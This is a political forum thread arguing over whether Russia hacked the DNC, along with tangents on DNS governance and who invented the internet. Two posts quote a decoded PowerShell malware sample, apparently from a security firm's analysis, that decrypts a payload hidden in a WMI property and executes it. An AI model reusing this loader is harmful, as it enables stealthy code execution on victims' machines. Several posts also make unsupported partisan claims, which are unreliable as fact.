President Trump - Dealing with the Russians

[2tallbill]

There does seem to be some mutual attraction there, both have King/Emperor like aspirations, but Putin is in a different league and a lot smarter.  Trump is making a big mistake if he considers himself a peer.

We don't know what Trump will do. Hillary has already shown what she would do,
she would screw it up. Compare Hillary to Putin and he has shown the entire world
that he is a lot smarter.

I think that Russia is going to be pretty low on the list of things that Trump spends any
time working on. My guess is that Trump will let Russia continue running things in Syria.
Russia isn't very important to US trade, countries like China will be higher on the agenda.

[BillyB]

Russia, China, Israel, Iran, Pakistan, ISIS/AlQaeda, India  (at a minimum)

If the Russians hacked it, then the Chinese hacked it; and the Israelis had all the data already.  Plus possibly some random guy like Guccifer did also.

Guccifer showed up the day after the big announcement Russia did it. His IP address is coming from France but was traced to Russia.

Just as posters here have different styles of writing, thinking and ways of doing things, so do hackers and identifying them isn't as hard as you think. Cybersecurity experts knows the players out there and recognizes their fingerprints when they see it. I've posted a lot of evidence on Russia in the past. I'll repeat one below by a Russian owned Cybersecurity company, probably the best in the world. I believe what these intelligent people say regardless of what Trump wants you to believe. Truth is he probably knows got his answer during a security briefing but has to play it off as if we don't know who done it so people won't think Russia is supporting him. If he becomes president, he'll tell you it's Russia and hopefully he has more balls than Obama to make they pay for the all out cyber assault on our government.

http://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

[Slumba]

Guccifer showed up the day after the big announcement Russia did it. His IP address is coming from France but was traced to Russia.

Just as posters here have different styles of writing, thinking and ways of doing things, so do hackers and identifying them isn't as hard as you think. Cybersecurity experts knows the players out there and recognizes their fingerprints when they see it. I've posted a lot of evidence on Russia in the past. I'll repeat one below by a Russian owned Cybersecurity company, probably the best in the world. I believe what these intelligent people say regardless of what Trump wants you to believe. Truth is he probably knows got his answer during a security briefing but has to play it off as if we don't know who done it so people won't think Russia is supporting him. If he becomes president, he'll tell you it's Russia and hopefully he has more balls than Obama to make they pay for the all out cyber assault on our government.

http://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

I know several people who work in network security, that write various in-house network security tools, and have secured servers against Internet network intrusion.  So I'll trust my own sources, vs. anything you read publicly, thanks.

[jone]

I know several people who work in network security, that write various in-house network security tools, and have secured servers against Internet network intrusion.  So I'll trust my own sources, vs. anything you read publicly, thanks.

Billy will be happy to tell you that he is one hundred percent certain that the Russians did it. Even when Assange said that people would be very surprised if they knew who created the hack.  But since he is 100% certain, with no proof, then my suggestion to him is to go into computer security.  He is obviously the expert.

[BillyB]

So I'll trust my own sources, vs. anything you read publicly, thanks.

Your choice. You and Jone can dismiss what the world's best cyber security experts say and process the evidence differently than I.

[jone]

What evidence?  Even if the hack was created by who you say it was, it doesn't mean that the Russian government was the perp.  You tie yourself up in knots without knowing anything.  Take a load off your brain.  Have a beer.  Smoke a blunt.   In a court of law there is no evidence that you have that convicts the Russian government.  Guccifer did not go on FaceBook and say that he just shot a plane out of the sky!

And the person who released the leak said that we would be surprised if we found out who did it.

Let's put it a different way:  Would you bet your life it was the Russians?  Because you sure post like you do.  You don't know.  I don't know.  Only FP knows.  And he's not tellin.  (FP was the guy sitting on his bed - but he doesn't weigh quite 400 pounds.)

[calmissile]

This is getting to be a silly argument.  The so-called security experts we see on TV are like most of the talking heads they can find that want to get some publicity.  I don't believe any of them without seeing some proof.

In fact, it could be a Russian or Chinese citizen that is doing the hacking without state sponsorship.  As long as Putin sees that it has everyone riled up, why should he do anything about it.  He is enjoying the embarrassment that shows how corrupt some of our politicians are.  It's retribution for all the bad mouthing (deserved) we do about the corruption of other countries.  The whole world knows the US election system is corrupt.  By definition, the candidates are bought and paid for in the Campaign Finance process.  We are silly to pretend it is not the case.

[BillyB]

The so-called security experts we see on TV are like most of the talking heads they can find that want to get some publicity.  I don't believe any of them without seeing some proof.

Not talking about tv experts. Real experts already figured it out. From the link I provided above, they gave a small sample of proof which I'll cut and paste below. TV experts don't even understand it and Crowdstrike isn't going to tell all.

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This decodes to:

function perfCr($crTr, $data){
$ret = $null
try{
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.Security.Cryptography.CryptoStream -ArgumentList @($ms, $crTr, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($data, 0, $data.Length)
$cs.FlushFinalBlock()
$ret = $ms.ToArray()
$cs.Close()
$ms.Close()
}
catch{}
return $ret
}
function decrAes($encData, $key, $iv)
{
$ret = $null
try{
$prov = New-Object System.Security.Cryptography.RijndaelManaged
$prov.Key = $key
$prov.IV = $iv
$decr = $prov.CreateDecryptor($prov.Key, $prov.IV)
$ret = perfCr $decr $encData
}
Catch{}
return $ret
}
function sWP($cN, $pN, $aK, $aI)
{
if($cN -eq $null -or $pN -eq $null){return $false}
try{
$wp = ([wmiclass]$cN).Properties[$pN].Value
$exEn = [Convert]::FromBase64String($wp)
$exDec = decrAes $exEn $aK $aI
$ex = [Text.Encoding]::UTF8.GetString($exDec)
if($ex -eq $null -or $ex -eq ”)
{return}
Invoke-Expression $ex
return $true
}
catch{
return $false
}
}
$aeK = [byte[]] (0xe7, 0xd6, 0xbe, 0xa9, 0xb7, 0xe6, 0x55, 0x3a, 0xee, 0x16, 0x79, 0xca, 0x56, 0x0f, 0xbc, 0x3f, 0x22, 0xed, 0xff, 0x02, 0x43, 0x4c, 0x1b, 0xc0, 0xe7, 0x57, 0xb2, 0xcb, 0xd8, 0xce, 0xda, 0x00)
$aeI = [byte[]] (0xbe, 0x7a, 0x90, 0xd9, 0xd5, 0xf7, 0xaa, 0x6d, 0xe9, 0x16, 0x64, 0x1d, 0x97, 0x16, 0xc0, 0x67)
sWP ‘Wmi’ ‘Wmi’ $aeK $aeI | Out-Null

[Faux Pas]

Not talking about tv experts. Real experts already figured it out. From the link I provided above, they gave a small sample of proof which I'll cut and paste below. TV experts don't even understand it and Crowdstrike isn't going to tell all.

This decodes to:

function perfCr($crTr, $data){
$ret = $null
try{
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.Security.Cryptography.CryptoStream -ArgumentList @($ms, $crTr, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($data, 0, $data.Length)
$cs.FlushFinalBlock()
$ret = $ms.ToArray()
$cs.Close()
$ms.Close()
}
catch{}
return $ret
}
function decrAes($encData, $key, $iv)
{
$ret = $null
try{
$prov = New-Object System.Security.Cryptography.RijndaelManaged
$prov.Key = $key
$prov.IV = $iv
$decr = $prov.CreateDecryptor($prov.Key, $prov.IV)
$ret = perfCr $decr $encData
}
Catch{}
return $ret
}
function sWP($cN, $pN, $aK, $aI)
{
if($cN -eq $null -or $pN -eq $null){return $false}
try{
$wp = ([wmiclass]$cN).Properties[$pN].Value
$exEn = [Convert]::FromBase64String($wp)
$exDec = decrAes $exEn $aK $aI
$ex = [Text.Encoding]::UTF8.GetString($exDec)
if($ex -eq $null -or $ex -eq ”)
{return}
Invoke-Expression $ex
return $true
}
catch{
return $false
}
}
$aeK = [byte[]] (0xe7, 0xd6, 0xbe, 0xa9, 0xb7, 0xe6, 0x55, 0x3a, 0xee, 0x16, 0x79, 0xca, 0x56, 0x0f, 0xbc, 0x3f, 0x22, 0xed, 0xff, 0x02, 0x43, 0x4c, 0x1b, 0xc0, 0xe7, 0x57, 0xb2, 0xcb, 0xd8, 0xce, 0xda, 0x00)
$aeI = [byte[]] (0xbe, 0x7a, 0x90, 0xd9, 0xd5, 0xf7, 0xaa, 0x6d, 0xe9, 0x16, 0x64, 0x1d, 0x97, 0x16, 0xc0, 0x67)
sWP ‘Wmi’ ‘Wmi’ $aeK $aeI | Out-Null

Yeah I can see this is solid proof the Russians did it  :roll eyes: You are right Billy. You are the man  :roll eyes: Fvck, why didn't you show this indisputable proof earlier? Think of all the electrons we've inconvenienced.

[Slumba]

yes BillyB, you have shown the original and then the decoded shellcode.  And?

[BillyB]

yes BillyB, you have shown the original and then the decoded shellcode.  And?

I thought you said good hackers don't leave evidence behind to be tracked. People don't turn on a computer and all of a sudden have access to Obama's emails. Software is needed to find his server, get past security measures and extract info. This software can be traced.

America has been heavily combating hackers from Russia for the last two years but you want everyone to believe we don't know who we're in a war against. Obama just has to declare it was Russia and we'd have to take action. Sanctions are a start. You should be happy that would happen but you prefer we stay in the dark so that Trump doesn't look like he's in bed with Russia. Trump isn't in bed with Russia. The projects he wanted to create in Russia were denied.

http://www.wsj.com/articles/u-s-considers-sanctions-against-russia-in-response-to-hacks-of-democratic-groups-1470946133

Just out a couple of days ago. Russia looking for vulnerabilities in States voter registration after hack. Slumba, you may be voting for Hillary.

http://abcnews.go.com/US/russian-hackers-targeted-half-states-voter-registration-systems/story?id=42435822

[jone]

His logic is impeccable.  Billy says that the Russians are the only company/country that would wish to hack the DNC.  That's it.  Incontrovertible proof. 

[Slumba]

ANY country over a certain size is trying to hack and spy on USA targets. 

Plus individuals like Andrew Auernheimer ("weev"), the original Guccifer guy, Kevin Mitnick (long ago), etc.

(The largest USA corporate espionage ring sponsored by a country is either Israel or China, depends on who you ask... but we are talking about the DNC.)

I would trust Binney more (I don't trust anyone 100%). 

He is the highest ranking NSA guy to go public and knows as much or more than Snowden.

http://www.zerohedge.com/news/2016-07-31/whistleblowers-stunning-claim-nsa-has-all-hillarys-deleted-emails-it-may-be-leak

"Binney raised the possibility that the hack of the Democratic National Committee’s server was done not by Russia but by a disgruntled U.S. intelligence worker concerned about Clinton’s compromise of national security secrets via her personal email use. "

You are stating something as 100% "FACT" when you only have publicly-available info to read--on a subject having to do with spying.  There could be 2 or 3 levels of mis-direction going on, so how do you know that what is publicly out there on this subject is the definitive word?

[Ludmila]

Hay, mennnly men,
Look at you, how you've been craftily sold the situation with the "hacking". And you readily bought it.
Think about a parallel : a home has been broken into, and the intruder disappeared. The intruder finds out that the the owner of the property--- Secretary for Children's Rights-- has been seriously, actively, cynically engaged in pedophilia. The intruder exposes the pedophile. To distract the attention from the act of pedophilia,  the shrewd pedophile is yelling as a  piglet (on a slaughtering table before Christmas) that the house has been broken into.....As a result : the folks punch each other ( verbally) discussing the fact of breaking in instead of that of pedophilia....
 Wake up, YOU THE PEOPLE!

[calmissile]

Unless things have changed in the past couple of years, it is impossible to backtrack internet traffic by IP addresses.   Most hackers use anonymous accounts on proxy servers that hide the identity of the original IP address.  Since they get paid to protect the identity of their customers, they are not going to provide server records of their traffic or accounts.  They are also offshore and safe from US laws.

From some of the reports I have read recently suggests that the intelligence agency 'guesses' come from the software used to do the hacking rather than tracing the IP addresses.  In other words, if a robber or safe cracker has a certain style or uses specific tools in his work, you can logically suspect that there is a connection between the cases.  If we HAD solid proof of who the hackers are I would think we would have taken decisive action by now.

The US taxpayers paid to design the internet beginning with a DARPA project and later adopted it to form the MILNET.  It was later opened up to Universities in the US and defense contractors before it was opened up to public use.  Yea, AL Gore invented the internet (NOT) 

If you haven't heard yet, the asshole in the White House is wanting to give up the US control of the Domain Name system and transfer it to some world body. How much more damage can this jackass do before he leaves office?

[BC]

If you haven't heard yet, the asshole in the White House is wanting to give up the US control of the Domain Name system and transfer it to some world body. How much more damage can this jackass do before he leaves office?

It's really no big deal and helps ensure freedom in the internet and that the internet is for everyone.  Remember back when there was such an uproar, even in Congress over whether or not an .xxx domain should be added, or to force all providers of porn into this domain?

http://www.spokesman.com/stories/2006/feb/06/bill-would-create-xxx-domain-for-porn/

The new structure was simply to put the huge internet telephone book publisher into the hands of a multi stakeholder entity to help ensure that no ONE government or Biz can try to limit how the root internet directory should be structured and prevent efforts to include or exclude any type of content in the WORLD.

Things will go on just like they did before. Did you notice any changes or glitches after the switch yesterday?

Just think of how much time will be saved by the USG and legislators and courts on this subject now that it has become a non-issue.  The effort to transition has been in the works for many many years, long before Obama took office.

Of course if you want you can simply set up your own DNS registry.. it's pretty much built in to any computer today.

http://www.howtogeek.com/howto/27350/beginner-geek-how-to-edit-your-hosts-file/

Or just setup and control your own DNS server and have folks use it instead of the one their provider provides.. Some companies and parents do this via software to limit access to certain sites or only to approved sites..

See? anyone can do it.. so really what's the fuss all about?

[Anotherkiwi]

The US taxpayers paid to design the internet beginning with a DARPA project...

Tell that to Tim Berners-Lee, BRITISH inventor of the World Wide Web.  There are plenty of other scientists (not just from the USA) who invented, developed or refined parts of what we now call "the Internet."  Whether or not US taxpayers had anything to do with any of these would be a rather moot point.

[Slumba]

Tell that to Tim Berners-Lee, BRITISH inventor of the World Wide Web.  There are plenty of other scientists (not just from the USA) who invented, developed or refined parts of what we now call "the Internet."  Whether or not US taxpayers had anything to do with any of these would be a rather moot point.

The Internet was invented by the USA.

Full stop.

Educate yourself before you leave your comments and show that you can not differentiate between an application that runs on top of the Internet,  and the underlying designs and protocols that allow for the application to work well.

[fathertime]

If you haven't heard yet, the asshole in the White House is wanting to give up the US control of the Domain Name system and transfer it to some world body. How much more damage can this jackass do before he leaves office?

This is typical logic/reasoning from a fairly typical Trump voter.  I just hope it won't fly with enough of the American public. 


It is worldwide, so sharing responsibility for it seems fair enough...or maybe the US needs to have it's own internet, and every other country should separate from us. 


Fathertime! 

[BC]

The Internet was invented by the USA.

Full stop.

Educate yourself before you leave your comments and show that you can not differentiate between an application that runs on top of the Internet,  and the underlying designs and protocols that allow for the application to work well.

http://books.google.it/books?id=lESrw3neDokC&pg=PA53&redir_esc=y#v=onepage&q&f=false

The first actual computer network development projects were conducted by Donald Davies in the UK and Lawrence Roberts in the USA.

Davies also coined the word 'packet' still used today.

page 53

Sir Tim Berners-Lee seems to have put all the bits and pieces together that represents the internet as we use it today.

The URL for the first ever web page put up on the first ever website was http://info.cern.ch/hypertext/WWW/TheProject.html

Here is what it looked like:   http://www.w3.org/History/19921103-hypertext/hypertext/WWW/TheProject.html

Rudiments can be found even way back to 50's with the SITA system that the French developed for sharing airline and airport information.

You probably refer to ARPANET, an early packet switching network that first implemented the TCP/IP Protocol one of the building blocks of the internet.

Bottom line, what you are looking at right now in front of you on your 'puter screen is due to Sir Tim Berners-Lee's work..  HTML URI(L) and HTTP on top of a TCP/IP network, that made the first internet website http://info.cern.ch possible.

http://webfoundation.org/about/vision/history-of-the-web/

Your logic that the US invented the internet as we use it today is sorta like insisting that the first automobile was invented by whomever invented the wheel

[Slumba]

Snipped

Please don't try to Google and then lecture me on what you think you know about the Internet and its development. It's sad and embarrassing.

Unless you know (without Google use) who Bill Joy is; can define IMP, BGP,  SMTP, Nagle slow start algorithm, BSD, SysV. Didn't think so...

[BillyB]

His logic is impeccable.  Billy says that the Russians are the only company/country that would wish to hack the DNC.  That's it.  Incontrovertible proof.

Man sits on trial for robbing a bank. All evidence points to him and nobody else. During jury selection Jone dismissing the evidence tells the prosecutor "None of us were there to witness the crime and there's plenty of other people that would love to rob the bank too so how do we really know who done it?" Jone is not chosen to sit on the jury.

ANY country over a certain size is trying to hack and spy on USA targets. 

I've never disputed that. The last few years it's been shown the Russians were the most successful at getting into high value targets. Two years ago Obama had his chance to come down hard on Russia but he doesn't like confrontation. He didn't like confrontation in Ukraine or Syria and he doesn't like confrontation over losing our national secrets. Now we're at the point Russia is boldly hacking everything American. They got into our register voter systems. They can figure out who's Democrat or Republican. If they want Hillary to be prez, they can change your address and have your mail in ballot sent elsewhere. It may even be filled out for you to vote for Hillary. Russia doesn't need to play a big game. They just need to tilt the scales a little in a few critical swing states. Russia has also played games with European elections. Put some puppets in power. It's cheaper than going to war to gain control over a country.

Hay, mennnly men,
Look at you, how you've been craftily sold the situation with the "hacking". And you readily bought it.
Think about a parallel : a home has been broken into, and the intruder disappeared. The intruder finds out that the the owner of the property--- Secretary for Children's Rights-- has been seriously, actively, cynically engaged in pedophilia. The intruder exposes the pedophile. To distract the attention from the act of pedophilia,  the shrewd pedophile is yelling as a  piglet (on a slaughtering table before Christmas) that the house has been broken into.....As a result : the folks punch each other ( verbally) discussing the fact of breaking in instead of that of pedophilia....
 Wake up, YOU THE PEOPLE!

Ludmila, most of us know Hillary is corrupt to the core but WikiLeaks and their source hasn't put out anything really damaging on Hillary. They've targeted the DNC and humiliated other Democrats. WikiLeaks and Russia have hurt Trump more than Hillary which has made people fearful Trump is in bed with Russia. It's why you see a lot of Trump supporters blind themselves to the evidence, dismiss what our most intelligent public and private security personnel and companies are saying, and try very hard to disconnect Russia from the hacks. I don't have a problem seeing the truth.

If we HAD solid proof of who the hackers are I would think we would have taken decisive action by now.

We do have solid proof. I posted a bunch in a different thread a while back and the testimonies of the best of the best experts we have working on the case. All we need now is a president with balls to announce he's going to punish Russia. The punishment has to be worse than the crime. Without that we will have to put up with Russia continuing to steal all our trade and national security secrets and affect our elections.

Obama and the Democrats knew who was hacking into the White House and Pentagon two years ago. They knew the Russians were hacking into the DNC last year but they didn't tell the American public since it makes them look bad that Obama failed to stop this continued aggression. Only after DNC emails were leaked, the Hillary campaign confessed it was the Russians and successfully spun it to make us believe Russia prefers Trump.

Julian Assange says he's got an October surprise for us. WikiLeaks reputation is hinging on this. Does he have anything really damaging on Hillary or this is a big lie to make us believe Russia prefers Trump? Hillary can still make a deal with Russia to make the pain and the emails go away. She had no problems selling government policy in the past so why not again if she gets elected?

[Slumba]

Hay, mennnly men,
Look at you, how you've been craftily sold the situation with the "hacking". And you readily bought it.
Think about a parallel : a home has been broken into, and the intruder disappeared. The intruder finds out that the the owner of the property--- Secretary for Children's Rights-- has been seriously, actively, cynically engaged in pedophilia. The intruder exposes the pedophile. To distract the attention from the act of pedophilia,  the shrewd pedophile is yelling as a  piglet (on a slaughtering table before Christmas) that the house has been broken into.....As a result : the folks punch each other ( verbally) discussing the fact of breaking in instead of that of pedophilia....
 Wake up, YOU THE PEOPLE!

     

Pyat Ballov!

[BC]

Please don't try to Google and then lecture me on what you think you know about the Internet and its development. It's sad and embarrassing.

Unless you know (without Google use) who Bill Joy is; can define IMP, BGP,  SMTP, Nagle slow start algorithm, BSD, SysV. Didn't think so...

A few yes, all no. So?  Please feel free to address any faults you find in what I wrote or sources.  I've been working with IT and setting up networks since the Novell net ware and Pr1me times. Coax, T connectors, zero test and those pesky terminators that failed every now and then. My business is up and running for almost 30 years now providing local solutions and now via the net for a niche logistics market.  I work with a couple UA programmers on a daily basis maintaining the system and doing dev work.

Who invented the telephone? And don't google.

IMHO there is nothing wrong with learning.. even if it involves using google.

[Slumba]

A few yes, all no. So?  Please feel free to address any faults you find in what I wrote or sources. 

You are confusing an application level use (a web browser) with the underlying technology needed. 

FWIW the Gopher program developed at UMN pre-dated the development of the web browser. UMN is located in the USA.

There is a huge amount of underlying technology , 90% or more of which was developed by US companies. 

Between DARPA, Bellcore (ATT's research arm), and BSD and SysV Unix development and what was built on top of new, faster networks made possible by fiber optic cables (developed by USA company Corning Glass) - everything that matters came from the USA.

What TBL developed was a prototype, a decent one.  USA companies like Spyglass (licensed by Microsoft for their first IE browser) and Netscape turned it into something funtional and useful.

Apache web server - developed in USA.

etc. etc.

That you didn't catch "BGP" in there and its significance, shows you understand very little.